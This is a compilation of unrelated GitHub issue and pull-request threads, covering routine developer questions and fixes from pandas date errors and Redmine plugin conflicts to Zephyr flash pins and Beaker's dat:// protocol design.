@luomiao We can leave line 734 for abundance of caution. The original writer might have put it for some corner case. Fixed line 751.

LGTM but need Mark's final call :)

Merging this. Comments have been addressed by @shivanshu21 .


Create BookIt & Absenteeism Merge.ipynb

Notebook to calculate home seeting location of employee with BookIt Data and merge those with Absenteeism Data.

#3 @csmcallister

@kstreepy When trying to run the cell with
BookIt_df = days_calc(BookIt_df,'Reservation Days','Active Start','Active End')

I get an error:
---------------------------------------------------------------------------
TypeError                                 Traceback (most recent call last)
<ipython-input-21-3fa2ad0cd203> in <module>
----> 1 BookIt_df = days_calc(BookIt_df,'Reservation Days','Active Start','Active End')

<ipython-input-20-0d60521e513f> in days_calc(df, calc_col, start, end)
      8                                                 1 if np.busday_count(x[start], x[end]) == 0
      9                                                 and x[start] < x[end]
---> 10                                                 else np.busday_count(x[start], x[end]), axis= 1)
     11
     12     return df

~/.local/share/virtualenvs/wb2-OBWa13Ak/lib/python3.7/site-packages/pandas/core/frame.py in apply(self, func, axis, broadcast, raw, reduce, result_type, args, **kwds)
   6485                          args=args,
   6486                          kwds=kwds)
-> 6487         return op.get_result()
   6488
   6489     def applymap(self, func):

~/.local/share/virtualenvs/wb2-OBWa13Ak/lib/python3.7/site-packages/pandas/core/apply.py in get_result(self)
    149             return self.apply_raw()
    150
--> 151         return self.apply_standard()
    152
    153     def apply_empty_result(self):

~/.local/share/virtualenvs/wb2-OBWa13Ak/lib/python3.7/site-packages/pandas/core/apply.py in apply_standard(self)
    255
    256         # compute the result using the series generator
--> 257         self.apply_series_generator()
    258
    259         # wrap results

~/.local/share/virtualenvs/wb2-OBWa13Ak/lib/python3.7/site-packages/pandas/core/apply.py in apply_series_generator(self)
    284             try:
    285                 for i, v in enumerate(series_gen):
--> 286                     results[i] = self.f(v)
    287                     keys.append(v.name)
    288             except Exception as e:

<ipython-input-20-0d60521e513f> in <lambda>(x)
      6     '''
      7     df[calc_col] = df.apply(lambda x:
----> 8                                                 1 if np.busday_count(x[start], x[end]) == 0
      9                                                 and x[start] < x[end]
     10                                                 else np.busday_count(x[start], x[end]), axis= 1)

TypeError: ("Iterator operand 0 dtype could not be cast from dtype('<M8[us]') to dtype('<M8[D]') according to the rule 'safe'", 'occurred at index 4')

Do you get that as well?

@csmcallister
I do not. I just reran an additional time to double check. I'm guessing a version difference. A quick search shows this as a resolution for something similar. If you'd adjust between lambda x: and return to this, do you get the same error:
1 if np.busday_count(x[start].date(), x[end].date()) == 0
and x[start] < x[end]
else np.busday_count(x[start].date(), x[end].date()), axis= 1)

Awesome. That suggestion fixed the error.
Now, before you join merged_df with some IEQ data, can you determine how many 1800F employees are in the bookit data but not the absenteeism data for the overlapping time frame? These are the people that didn't take any leave. We want to be sure they're in our sample to avoid bias. If you can get that number, then it as a proportion of the total number of 1800F employees in the BookIt data source should give us an idea for the true percentage of employees that didn't take any leave. Once we've got that proportion, we'll want to randomly draw a number of them from the BookIt data so that our merged_df represents them proportionately.

[ ] Determine the ratio of number of 1800F employees in BookIt that are not in the absenteeism dataset / number of 1800F employees in BookIt
[ ] Randomly draw n 1800F employees in BookIt that are not in the absenteeism dataset and add them to merged_df until they're representation reaches the ratio determined above.

Once you get folks that didn't take any leave into merged_df, you'll need to bring in an IEQ dataset and join that. Let's start with the CO2 modality (let me know if you don't already have it locally and I can share it), but write the code so that it works with any modality (they all have the same column names).

[ ] join merged_df to one of the IEQ datasets.

Got it. Work on those adjustments and get these added.


A J: Watch irvingscheib.com

A J requests the watch of the watch_keyword irvingscheib\.com. See the Metasmoke search here and the Stack Exchange search here.

irvingscheib\.com has been seen in 1 true positive, 0 false positives, and 0 NAAs.

!!/approve

Coverage remained the same at 65.763% when pulling 2e5536ea6c469bdaa877401bcbf06c14e16760ff on auto-blacklist-1527674124.8636436 into 95cf517c51d810d8c4b78191668222814ac5c31f on master.


Improve identity view helper factory

I have a few problems with an identity view helper factory.
    public function createService(ServiceLocatorInterface $serviceLocator)
    {
        $services = $serviceLocator->getServiceLocator();
        $helper = new Identity();
        if ($services->has('Zend\Authentication\AuthenticationService')) {
            $helper->setAuthenticationService($services->get('Zend\Authentication\AuthenticationService'));
        }
        return $helper;
    }

First about a retrieving of auth service. Maybe will be better to use Zend\Authentication\AuthenticationServiceInterface instead of Zend\Authentication\AuthenticationService as name of the auth service?
By default HelperPluginManager doesn't contain main service container, and var $services can be null. But it seems in develop branch this factory class already modified.

First about a retrieving of auth service. Maybe will be better to use Zend\Authentication\AuthenticationServiceInterface instead of Zend\Authentication\AuthenticationService as name of the auth service?

See zendframework/zend-mvc-plugin-identity#9


can not install on redmine 3.2.1

I tried to install it on redmine 3.2.x, but Unfortunately , I have not succeeded in it. Need help so much.
How to solve it? Thanks in advance.
[root@redmine]# bundle exec rake redmine:plugins:migrate  RAILS_ENV=production

/usr/local/rvm/gems/ruby-2.2.4@newgemset/gems/htmlentities-4.3.1/lib/htmlentities/mappings/expanded.rb:465: warning: duplicated key at line 466 ignored: "inodot"
/opt/redmine/plugins/redmine_issue_checklist/init.rb:24: warning: duplicated key at line 24 ignored: :issue_checklist
rake aborted!
Unknown key: :order. Valid keys are: :class_name, :anonymous_class, :foreign_key, :validate, :autosave, :table_name, :before_add, :after_add, :before_remove, :after_remove, :extend, :primary_key, :dependent, :as, :through, :source, :source_type, :inverse_of, :counter_cache, :join_table, :foreign_type
/usr/local/rvm/gems/ruby-2.2.4@newgemset/gems/activesupport-<IP_ADDRESS>/lib/active_support/core_ext/hash/keys.rb:75:in block in assert_valid_keys' /usr/local/rvm/gems/ruby-2.2.4@newgemset/gems/activesupport-<IP_ADDRESS>/lib/active_support/core_ext/hash/keys.rb:73:ineach_key'
/usr/local/rvm/gems/ruby-2.2.4@newgemset/gems/activesupport-<IP_ADDRESS>/lib/active_support/core_ext/hash/keys.rb:73:in assert_valid_keys' /usr/local/rvm/gems/ruby-2.2.4@newgemset/gems/activerecord-<IP_ADDRESS>/lib/active_record/associations/builder/association.rb:82:invalidate_options'
/usr/local/rvm/gems/ruby-2.2.4@newgemset/gems/activerecord-<IP_ADDRESS>/lib/active_record/associations/builder/association.rb:62:in initialize' /usr/local/rvm/gems/ruby-2.2.4@newgemset/gems/activerecord-<IP_ADDRESS>/lib/active_record/associations/builder/collection_association.rb:18:ininitialize'
/usr/local/rvm/gems/ruby-2.2.4@newgemset/gems/activerecord-<IP_ADDRESS>/lib/active_record/associations/builder/association.rb:47:in new' /usr/local/rvm/gems/ruby-2.2.4@newgemset/gems/activerecord-<IP_ADDRESS>/lib/active_record/associations/builder/association.rb:47:increate_builder'
/usr/local/rvm/gems/ruby-2.2.4@newgemset/gems/activerecord-<IP_ADDRESS>/lib/active_record/associations/builder/association.rb:35:in build' /usr/local/rvm/gems/ruby-2.2.4@newgemset/gems/activerecord-<IP_ADDRESS>/lib/active_record/associations.rb:1259:inhas_many'
/opt/redmine/plugins/redmine_customize/lib/redmine_customize/patches/user_patch.rb:9:in block in <module:UserPatch>' /usr/local/rvm/gems/ruby-2.2.4@newgemset/gems/activesupport-<IP_ADDRESS>/lib/active_support/concern.rb:120:inclass_eval'
/usr/local/rvm/gems/ruby-2.2.4@newgemset/gems/activesupport-<IP_ADDRESS>/lib/active_support/concern.rb:120:in append_features' /opt/redmine/plugins/redmine_customize/lib/redmine_customize/patches/user_patch.rb:41:ininclude'
/opt/redmine/plugins/redmine_customize/lib/redmine_customize/patches/user_patch.rb:41:in <top (required)>' /usr/local/rvm/gems/ruby-2.2.4@newgemset/gems/polyglot-0.3.5/lib/polyglot.rb:65:inrequire'
/usr/local/rvm/gems/ruby-2.2.4@newgemset/gems/polyglot-0.3.5/lib/polyglot.rb:65:in require' /usr/local/rvm/gems/ruby-2.2.4@newgemset/gems/activesupport-<IP_ADDRESS>/lib/active_support/dependencies.rb:274:inblock in require'
/usr/local/rvm/gems/ruby-2.2.4@newgemset/gems/activesupport-<IP_ADDRESS>/lib/active_support/dependencies.rb:240:in load_dependency' /usr/local/rvm/gems/ruby-2.2.4@newgemset/gems/activesupport-<IP_ADDRESS>/lib/active_support/dependencies.rb:274:inrequire'
/opt/redmine/plugins/redmine_customize/lib/redmine_customize.rb:10:in <top (required)>' /usr/local/rvm/gems/ruby-2.2.4@newgemset/gems/polyglot-0.3.5/lib/polyglot.rb:65:inrequire'
/usr/local/rvm/gems/ruby-2.2.4@newgemset/gems/polyglot-0.3.5/lib/polyglot.rb:65:in require' /usr/local/rvm/gems/ruby-2.2.4@newgemset/gems/activesupport-<IP_ADDRESS>/lib/active_support/dependencies.rb:274:inblock in require'
/usr/local/rvm/gems/ruby-2.2.4@newgemset/gems/activesupport-<IP_ADDRESS>/lib/active_support/dependencies.rb:240:in load_dependency' /usr/local/rvm/gems/ruby-2.2.4@newgemset/gems/activesupport-<IP_ADDRESS>/lib/active_support/dependencies.rb:274:inrequire'
/opt/redmine/plugins/redmine_customize/init.rb:7:in block in <top (required)>' /usr/local/rvm/gems/ruby-2.2.4@newgemset/gems/activesupport-<IP_ADDRESS>/lib/active_support/callbacks.rb:446:ininstance_exec'
/usr/local/rvm/gems/ruby-2.2.4@newgemset/gems/activesupport-<IP_ADDRESS>/lib/active_support/callbacks.rb:446:in block in make_lambda' /usr/local/rvm/gems/ruby-2.2.4@newgemset/gems/activesupport-<IP_ADDRESS>/lib/active_support/callbacks.rb:192:incall'
/usr/local/rvm/gems/ruby-2.2.4@newgemset/gems/activesupport-<IP_ADDRESS>/lib/active_support/callbacks.rb:192:in block in simple' /usr/local/rvm/gems/ruby-2.2.4@newgemset/gems/activesupport-<IP_ADDRESS>/lib/active_support/callbacks.rb:504:incall'
/usr/local/rvm/gems/ruby-2.2.4@newgemset/gems/activesupport-<IP_ADDRESS>/lib/active_support/callbacks.rb:504:in block in call' /usr/local/rvm/gems/ruby-2.2.4@newgemset/gems/activesupport-<IP_ADDRESS>/lib/active_support/callbacks.rb:504:ineach'
/usr/local/rvm/gems/ruby-2.2.4@newgemset/gems/activesupport-<IP_ADDRESS>/lib/active_support/callbacks.rb:504:in call' /usr/local/rvm/gems/ruby-2.2.4@newgemset/gems/activesupport-<IP_ADDRESS>/lib/active_support/callbacks.rb:92:inrun_callbacks'
/usr/local/rvm/gems/ruby-2.2.4@newgemset/gems/activesupport-<IP_ADDRESS>/lib/active_support/callbacks.rb:778:in _run_prepare_callbacks' /usr/local/rvm/gems/ruby-2.2.4@newgemset/gems/activesupport-<IP_ADDRESS>/lib/active_support/callbacks.rb:81:inrun_callbacks'
/usr/local/rvm/gems/ruby-2.2.4@newgemset/gems/actionpack-<IP_ADDRESS>/lib/action_dispatch/middleware/reloader.rb:83:in prepare!' /usr/local/rvm/gems/ruby-2.2.4@newgemset/gems/actionpack-<IP_ADDRESS>/lib/action_dispatch/middleware/reloader.rb:55:inprepare!'
/usr/local/rvm/gems/ruby-2.2.4@newgemset/gems/railties-<IP_ADDRESS>/lib/rails/application/finisher.rb:50:in block in <module:Finisher>' /usr/local/rvm/gems/ruby-2.2.4@newgemset/gems/railties-<IP_ADDRESS>/lib/rails/initializable.rb:30:ininstance_exec'
/usr/local/rvm/gems/ruby-2.2.4@newgemset/gems/railties-<IP_ADDRESS>/lib/rails/initializable.rb:30:in run' /usr/local/rvm/gems/ruby-2.2.4@newgemset/gems/railties-<IP_ADDRESS>/lib/rails/initializable.rb:55:inblock in run_initializers'
/usr/local/rvm/gems/ruby-2.2.4@newgemset/gems/railties-<IP_ADDRESS>/lib/rails/initializable.rb:54:in run_initializers' /usr/local/rvm/gems/ruby-2.2.4@newgemset/gems/railties-<IP_ADDRESS>/lib/rails/application.rb:352:ininitialize!'
/opt/redmine/config/environment.rb:14:in <top (required)>' /usr/local/rvm/gems/ruby-2.2.4@newgemset/gems/polyglot-0.3.5/lib/polyglot.rb:65:inrequire'
/usr/local/rvm/gems/ruby-2.2.4@newgemset/gems/polyglot-0.3.5/lib/polyglot.rb:65:in require' /usr/local/rvm/gems/ruby-2.2.4@newgemset/gems/activesupport-<IP_ADDRESS>/lib/active_support/dependencies.rb:274:inblock in require'
/usr/local/rvm/gems/ruby-2.2.4@newgemset/gems/activesupport-<IP_ADDRESS>/lib/active_support/dependencies.rb:240:in load_dependency' /usr/local/rvm/gems/ruby-2.2.4@newgemset/gems/activesupport-<IP_ADDRESS>/lib/active_support/dependencies.rb:274:inrequire'
/usr/local/rvm/gems/ruby-2.2.4@newgemset/gems/railties-<IP_ADDRESS>/lib/rails/application.rb:328:in require_environment!' /usr/local/rvm/gems/ruby-2.2.4@newgemset/gems/railties-<IP_ADDRESS>/lib/rails/application.rb:457:inblock in run_tasks_blocks'
Tasks: TOP => redmine:plugins:migrate => environment
(See full trace by running task with --trace)

OK, I reinstall a new Redmine 3.2.X and to install the plugin and still with conflict as follows:

Resolving dependencies....
Bundler could not find compatible versions for gem "nokogiri":
In snapshot (Gemfile.lock):
nokogiri (= <IP_ADDRESS>)
In Gemfile:
nokogiri (>= <IP_ADDRESS>)
capybara was resolved to 2.6.2, which depends on
  nokogiri (>= 1.3.3)

deface (< 1.0.0) was resolved to 0.1.0, which depends on
  nokogiri (~> 1.4.3)

rails-html-sanitizer (>= 1.0.3) was resolved to 1.0.3, which depends on
  loofah (~> 2.0) was resolved to 2.0.3, which depends on
    nokogiri (>= 1.5.9)

rails-dom-testing was resolved to 1.0.7, which depends on
  nokogiri (~> 1.6.0)

roadie-rails was resolved to 1.1.1, which depends on
  roadie (~> 3.1) was resolved to 3.1.1, which depends on
    nokogiri (< 1.7.0, >= 1.5.0)

capybara was resolved to 2.6.2, which depends on
  xpath (~> 2.0) was resolved to 2.0.0, which depends on
    nokogiri (~> 1.3)

Running bundle update will rebuild your snapshot from scratch, using only
the gems in your Gemfile, which may resolve the conflict.

I used  try to resolve the conflict, and error again as follow

Resolving dependencies.............
Bundler could not find compatible versions for gem "nokogiri":
In Gemfile:
nokogiri (>= <IP_ADDRESS>)
deface (< 1.0.0) was resolved to 0.5.2, which depends on
  nokogiri (~> 1.4.3)

rails-html-sanitizer (>= 1.0.3) was resolved to 1.0.3, which depends on
  loofah (~> 2.0) was resolved to 2.0.3, which depends on
    nokogiri (>= 1.5.9)

Bundler could not find compatible versions for gem "rails":
In Gemfile:
rails (= <IP_ADDRESS>)
deface (< 1.0.0) was resolved to 0.1.0, which depends on
  rails (~> 3.0.0)

could you fix it, Thanks so much.

Well, I'm having the same issue with impossible Nokogiri version requirements. Essentially, deface wants version 1.4.3, whil eother components depend on other (higher) Nokogiri versions. Im not a ruby guy, so I have no idea if this can be fixed and if yes, how?

try the recently version of this plugins, it removed the Gemfile.lock maybe solve the problem.


Resolves issue: https://github.com/TNOCS/geojson-tile-server/issues/3

Adds ability to specify buffer value from cli parameter

@ivanstan Thanks for your contribution!


Support Interface Inheritance

Hello,
Really enjoying implementing this project so far.  I was wondering, would it be a stretch to support interface inheritance?
My use case:
I've got my general application stack:

Web.A
Web.B
Business.A
Business.B
Business.Core
Data

I'd like to put common configuration in an interface in my Business.Core project (shared with Business.A/B), but each Web.A/Business.A and Web.B/Business.B may add their own site-specific config.
Can I just have two separate configs with duplicated properties?  Yes.  Would it be cooler if I could have a Business.Core.IConfiguration for the common stuff and a Business.A.IConfiguration that extends Business.Core.IConfiguration to add that site-specific config?    With dependency injection services like Autofac, I could then register your generated proxy to provide a common configuration service throughout the entire application stack, yet only expose the required subset of configuration at each layer.
I can start looking into a PR for this, if you agree.  I'm thinking this would just be a slight change to InterfaceImplementationExtensions.  Thoughts?

Hi! Really nice that you enjoy the project :) Is there an easy way to infer which interface added a property? In that case, why not? :)
I am wondering though if having several configuration interfaces (with zero overlap) would be better/possible. In my projects I try to do the pattern IXConfiguration where X is the class that needs the configuration, leading to many configuration classes that are injected with IoC.When the configuration is needed by several classes then the configuration is named after the common denominator. In this case no interface inhertiance would be used. Am I making any sense? :)

sure,  I was hoping that could be inferred from something like
var types = typeof(IFoo).GetInterfaces();
var propInfos = types.SelectMany(x => x.GetProperties());

maybe a different approach to get the methods/properties declared in each type could be something like this.


Is there a way to use imgui's docking branch?

Can I replace some files in the imgui-ts/imgui directory for the purpose of switching imgui's branch?
If not, what should I do? Is it possible to do this efficiently?

if replace files in the imgui-ts/imgui, you need to modify imgui\embind\bind-imgui.cpp, bind-imgui.d.ts bind-imgui.js and recompile WASM with emscripten


Minigame to regain ones items on death instead of just dropping them

On death the items get saved and the player who lost them can get them back by doing one of various, random or not?, minigames. One option could also be just getting them dropped on the place the player died with a command, if the player for example respawned near the place he died, so doesnt have to do the minigame and can get them back the normal way. This should change it, so the player is not as annoyed to lose all his items, but has a chance to get them back with a bit of skill.
Maybe there could be an introduction with a bit of story of a god giving the player the chance the first time he is dying. After that, it would be just the minigame. The design could be a bit like the new trial chambers, but maybe another colour or something like that to differentiate them. Like that the idea could be better placed inside the lore of minecraft.
The minigame could have various forms, i imagine maybe a jump and run or a fight with a given equipment but it could also be a minigame inside a chest inventory. The minigames could be in another world if possible, somewhere no one can get to in survival like under the bedrock in the overworld.  In the end the player could get a trial key to one of the new vaults added in 1.21., which drops the players loot.
The command to start the minigame could be "/secondChance" (not sure just one idea).
The command to just drop the items like normal would be "/dropItems".
Instead of the commands a possibility could also be put the player after he respawns before the decision which one of the two options he wants to do, to not confuse people where their loot is, who dont know about the plugin.

Great idea! Would love to see that.

from Niko: maybe use the key that is planned to drop to the player when completing the minigame, to open a room, in which the items could be. Some special items could also be displayed on armorstands. It could be possible to do that by listing every piece of armor in an array or something like that and check the saved inventory of the player after his death for them. For the possibility of several armor pieces that are put in the same spot, like 2 helmets, there could be placed more armorstands.

We already have a PR for this, therefore im closing this issue.


What is the current re-patching workflow?

Now that we use Darc to clone component repos rather than submodules, I expect https://github.com/dotnet/source-build/blob/release/3.1/extract-patches.sh no longer works. Do we have an updated typical workflow?
When I solved a bug in 3.0, I used git am to reapply patches to an external clone I made, then manually ran git format-patch to recreate patch files, then copied them over into source-build.
@crummel @adaggarwal @dseefeld

I use extract-patches.sh.  When making changes in repos, I work in the "non-commit-id labelled" directory of the repo in bin/src and checkout the target commit.  Then I run git am to reapply patches, make my changes and commit and then use extract-patches.sh to recreate patch files.

Interesting... I wouldn't expect this to work anymore--I would expect it to give you the source-build commit, which is not in the same tree as the repo commit, causing some sort of failure or unexpected behavior:
https://github.com/dotnet/source-build/blob/3085962b9d1c17a6c0b746837b94238257966d0a/extract-patches.sh#L5-L10

I see.  I don't ever use that path because I always pass in the base SHA instead of allowing it to try to figure it out.

I usually go with the manual approach git am -> format-patch

Thanks, filed https://github.com/dotnet/source-build/issues/1469 to track improving the script.

Reopening to track documenting the expected way to do this. In particular, for servicing scenarios, where we shouldn't spend time figuring out a personal process.

[Triage] We don't want patches and don't want to do work that encourages them 😄.


feat: support installed (virtual) packages in libsolv

This PR makes it possible to specify which packages are already installed (including virtual packages), so libsolv can take them into account. I also took the liberty of extracting the rattler_solve crate, to have a somewhat lighter dependency than rattler for use cases when you are not actually planning to install anything (e.g. a server that resolves an environment and returns information about which dependencies should be installed).
I am not totally comfortable about the way we are using unsafe code in the libsolv wrapper (i.e. it might be possible to cause UB within safe Rust, because we are not abstracting the unsafe code away properly). Instead of overhauling it in one go, I hope to iteratively improve it (this time I added a lifetime parameter to Solvable, for instance).
Also, there are quite some TODOs within the libsolv wrapper, basically asking what the meaning is of different functions. At some point we will need to go through them before we consider this to be production-ready.

Lets merge this if CI turns green!


question: How to access global variable on window inside page.evaluate()

Summary
I'm trying to get access to a global variable on the window object inside a page.evaluate() function call.
I've seen the example in page.ts#L267
but I can't make it work.
I'm getting this error about a circular conversion:
error: TypeError: Converting circular structure to JSON
    --> starting at object with constructor 'Window'
    --- property 'window' closes the circle
    this.socket.send(JSON.stringify(data));
                          ^
    at JSON.stringify (<anonymous>)
    at Protocol.send (https://deno.land/x/sinco@v4.1.0/src/protocol.ts:88:27)
    at Page.evaluate (https://deno.land/x/sinco@v4.1.0/src/page.ts:328:40)
    at async fn

I'm wondering if it's just the example being outdated or something else?

@thomaswormann can you show your whole code?

I'm trying to expose some global objects in my tests that are encapsulated in ES modules.
So I'm trying to inject them through a "globals.js" file I dynamically add to the page.
This file contains just "window.foo = "bar";" - so I'm expecting the console.log output to contain the string  "bar".
Deno.test({
  name: "FooBar",
  fn: async (t) => {

    const { browser, page } = await buildFor("chrome", {
      defaultUrl: "about:blank",
      binaryPath: Deno.env.get('DENO_CHROME_EXECUTABLE') || '/usr/bin/chromium'
    });

    const url = Deno.env.get('DENO_FOOBAR_URL') || 'http://localhost:8181/?locale=en_US';
    await page.location(url);

    const injectGlobals = await page.evaluate((window) => {
      const globalsScript = document.createElement('script');
      globalsScript.setAttribute("type", "module");
      globalsScript.setAttribute("src", "./tests/ui/globals.js");
      globalsScript.setAttribute("async", "false");
      globalsScript.setAttribute("defer", "false");
      document.body.appendChild(globalsScript);

      return { window };
    }, window);

    console.log(window.foo);
  }
});

@thomaswormann this won’t work, you’re still referencing the global window object in the Deno runtime and not accessing the one returned (`injectGlobals’)

You’re also passing in the window object from the Deno namespace, I think to make it work, remove the 2nd parameter in evaluate() and remove the window parameter in your callback, that way your returned value will be a reference to the page’s window object

That makes a lot of sense, I confused the global Deno "window" object with the browser one.
I updated the code:
Deno.test({
    // [...]
    const injectGlobals = await page.evaluate(() => {
      const globalsScript = document.createElement('script');
      globalsScript.setAttribute("type", "module");
      globalsScript.setAttribute("src", "./tests/ui/globals.js");
      globalsScript.setAttribute("async", "false");
      globalsScript.setAttribute("defer", "false");
      document.body.appendChild(globalsScript);

      return window;
    });

    console.log(injectGlobals.foo);
  }
});

But now I get:
error: TypeError: Cannot read properties of undefined (reading 'value')
      return res.result.value;
                        ^
    at Page.evaluate (https://deno.land/x/sinco@v4.1.0/src/page.ts:343:25)

I checked the document.body.innerHTML btw. and the script tag gets added, I just don't know if it gets parsed properly (I guess it should).

I wrote the res variable in page.ts:343 to the console and it says:
------- output -------
{ code: -32000, message: "Object reference chain is too long" }
----- output end -----

So maybe the window object is just to large to be passed back via the websocket connection?

It seems like it :/
There nothing we can do about that on our side i dont think, if you need the whole window, maybe return JSON.stringify(window), then parse JSON.parse(onjectGlobals)? or just return the data you need:
return {
  parser: window.parser,
  stringHelper: window.stringHelper
}

Yes, I'll do that.
Thank you for your help!

@thomaswormann let us know how it goes! feel free to re-open this issue if you still have questions/problems, maybe there is always something we can do on our end


Feature/spi nor flash wp hold pins

The jedec,spi-nor compatible defines the use of wp-gpios (Write Protect) and hold-gpios (Hold) pins.  Only one of the flash drivers, spi_flash_at45.c, initializes and uses wp-gpios and none of them initialize or use hold-gpios.
This PR adds initialization and implementation of wp-gpios to the more general spi_nor.c driver and initializes but does not implement hold-gpios (set to inactive).
Two build tests were added and they can be collected with west twister -c -p nrf52840dk_nrf52840 -T tests/drivers/flash.
spi_nor.c has been formatted with clang-format, so it may be helpful to look at the functional changes only in https://github.com/zephyrproject-rtos/zephyr/commit/d551e5b71a36dbcb654f6dadd482682017f21bf8.
Discussions:

https://devzone.nordicsemi.com/f/nordic-q-a/99062/external-flash-write-protect-and-hold-pins
https://devzone.nordicsemi.com/f/nordic-q-a/89971/write-protection-pin-for-external-spi-flash-configuration/380516

Hi @de-nordic , can you retrigger the "Run tests with twister / twister-build (8) (pull_request_target)" pipeline when you have chance, none of these changes should impact the failing test case.  Thanks!

Please rebase the PR, there seems to be some problems, with CI, unrelated to the changes.

@de-nordic @nashif LMK if you have any questions!

I am not certain how to address the pipeline failure.  I am going to rebase again and see if it was already fixed.
-- Found BOARD.dts: /__w/zephyr/zephyr/boards/arm/mimxrt1160_evk/mimxrt1160_evk_cm7.dts
devicetree error: 'bus-speed-data' is marked as required in 'properties:' in /__w/zephyr/zephyr/dts/bindings/can/nxp,flexcan-fd.yaml, but does not appear in <Node /soc/can@40c3c000 in '/__w/zephyr/zephyr/misc/empty_file.c'>
-- In: /__w/zephyr/zephyr/twister-out/mimxrt1160_evk_cm7/tests/drivers/flash/common/drivers.flash.common.default/zephyr, command: /usr/bin/python3.10;/__w/zephyr/zephyr/scripts/dts/gen_defines.py;--dts;/__w/zephyr/zephyr/twister-out/mimxrt1160_evk_cm7/tests/drivers/flash/common/drivers.flash.common.default/zephyr/zephyr.dts.pre;--dtc-flags;'';--bindings-dirs;/__w/zephyr/zephyr/dts/bindings;--header-out;/__w/zephyr/zephyr/twister-out/mimxrt1160_evk_cm7/tests/drivers/flash/common/drivers.flash.common.default/zephyr/include/generated/devicetree_generated.h.new;--dts-out;/__w/zephyr/zephyr/twister-out/mimxrt1160_evk_cm7/tests/drivers/flash/common/drivers.flash.common.default/zephyr/zephyr.dts.new;--edt-pickle-out;/__w/zephyr/zephyr/twister-out/mimxrt1160_evk_cm7/tests/drivers/flash/common/drivers.flash.common.default/zephyr/edt.pickle;--edtlib-Werror;--vendor-prefixes;/__w/zephyr/zephyr/dts/bindings/vendor-prefixes.txt
CMake Error at cmake/modules/dts.cmake:276 (message):
  gen_defines.py failed with return code: 1
Call Stack (most recent call first):
  cmake/modules/zephyr_default.cmake:115 (include)
  share/zephyr-package/cmake/ZephyrConfig.cmake:75 (include)
  share/zephyr-package/cmake/ZephyrConfig.cmake:92 (include_boilerplate)
  cmake/package_helper.cmake:115 (find_package)


109472/filter by region

Kudos, SonarCloud Quality Gate passed!
  0 Bugs   0 Vulnerabilities   0 Security Hotspots   3 Code Smells
 100.0% Coverage  0.0% Duplication

3 code smells.


How to set front camera?

Hello, how can I put the front camera by default when I start the camera?
Thanks.

Hi,
Fixed in version 0.3.6. Added method for configuration setCameraFace.
How to use:
AnncaConfiguration.Builder photo = new AnncaConfiguration.Builder(activity, CAPTURE_MEDIA);
photo.setMediaAction(AnncaConfiguration.MEDIA_ACTION_PHOTO);
photo.setMediaQuality(AnncaConfiguration.MEDIA_QUALITY_LOW);
photo.setCameraFace(AnncaConfiguration.CAMERA_FACE_FRONT);
new Annca(photo.build()).launchCamera();

And please check sample project.


Add compiler.IsParallelizable

This implementation is inefficient, but that's OK for now.
Closes #1839.

that's OK for now.

and forever!


Hostless applications, using the dat:// protocol

Overview
Sites can be served in Beaker using dat://. Some facts about the protocol:

Beaker supports DNS lookup for dat links. So, you can have dat://{dns_name} or dat://{hash}.
On load, if there is an index.html in the dat archive, it will be displayed.
The URL scheme will support versions<EMAIL_ADDRESS>
Example<EMAIL_ADDRESS>3 kinds of version tags:

The change version, which is hyperdrive's internal version counter. That looks like @c{num}.
The hash of a version, which looks like @{hash}
A semver, which looks like @{maj}.{min}.{patch}.

dat:// will be a "hostless app protocol" for Beaker. Hostless apps will work differently than hosted apps, and get more privileges. Only hostless apps will get access to the client-side protocols which Beaker is adding.
The intent of hostless apps
Hostless apps will be a hybrid of cloud services and user resources. Beaker's goal is not to exclude services entirely; instead, the goal is to make services optional, interchangeable, and least-privileged.
Hostless apps are self-contained programs. Their assets are served by peer-to-peer networks, instead of by hosts, and they are integrity- and signature-checked for security. User data is stored on-device, by default, and confidential information should be encrypted end-to-end. Ideally, any point-to-point communication should occur between devices, without servers.
Hostless apps should interoperate with each other, using network protocols or user-data (files, DBs). They should model their interactions after existing hostless applications. Early versions of Beaker will not bother with IPC, or generic interaction layers such as Android's Intents.
Security basics
The dat URL has an authority tuple of ["dat:", hash]. The policies and sandboxes will be applied to that authority. If the dat is loaded with a DNS name, the name will be resolved to a hash prior to setting policies.
Hostless apps are expected to handle secrets and privileged resources. They will be served with strict CSPs to prevent injections. A hostless app has to ask permission for new Beaker APIs and for the network; by default, an app can only access sandboxed JS APIs, and the assets within its own archive.
App updates
By default, updates to the dat will be automatically installed. The user can view the version history, and choose to revert to a past version. The user can also choose to be prompted before running updates.
New APIs
Hostless apps should be self-sufficient, and capable of (almost) anything an electron-based desktop app can do. They wont be able to bundle native modules, so Beaker will need to provide their platform of APIs.
Beaker's first 5 APIs will be:

sqlite3
fs
libsodium
secret/key storage
dat

These 5 will handle data-modeling, data-storage, p2p data-publishing, and all basic cryptography. In the future, we'll explore integrating APIs for an identity system, payments, async push-messaging, and async push-mail.
TODOs and open questions
App update events
Should there be a JS API for the application to handle upgrades and downgrades to the application? For instance, suppose the user moves from 2.0.0 to 3.0.0 -- or 3.0.0 to 2.0.0. There may be data schemas to change. And, if handled poorly, there could be data loss. Applications may benefit from builtin migration events, to handle this.
User data control
The dat apps will create files, SQLite databases, dat archives, and other artifacts, which the user may want to export and share within other contexts. How should we handle this? Should the browser/apps have a toolset for users to configure the paths of an app?
FS api
The node community has had a lot of time to consider how a browser-based fs api should work. What are those thoughts now?
DNS changes
If the dat app is loaded via a DNS name, and the registered hash is changed, how should Beaker react to this? Should it alert the user, that a wholly new app has been put there? How can the user get back to their old app?
cc @mafintosh @maxogden @karissa

It would be nice if users could select files, outside of an application's sandbox, to access with fs. This is generally convenient, and it lets users share files between applications.
Problem is, it also invites unplanned concurrent access by applications.


Setup loading sound process to use fully qualified file paths

Preview Feature Pull Request
📄Description📄

This pull request is for preview release v1.0.0-preview.7

✅Development Checklist✅
🌳Branching🌳
Does the name of the head(source) branch for this pull request have the correct preview feature branch syntax?
Syntax: preview/feature/<issue-id>-<description>
Example: preview/feature/123-my-preview-change

[x] Yes
[ ] No

Does the name of the base(target) branch for this pull request have the correct preview branch syntax?
Syntax: preview/v<major-number>.<minor-number>.<patch-number>-preview.<prev-number>
Example: preview/v1.2.3-preview.4

[x] Yes
[ ] No

Is the head(source) branch for this pull request created from a branch with the correct preview branch syntax?
Syntax: preview/v<major-number>.<minor-number>.<patch-number>-preview.<prev-number>
Example: preview/v1.2.3-preview.4

[x] Yes
[ ] No

🐛Bugs🐛
Contains Bug Fix(es)

[x] Yes

[x] A  label has been added to the pull request.

[ ] No

💣Breaking Change(s)💣
Contains breaking change(s)

[ ] Yes
[ ] No

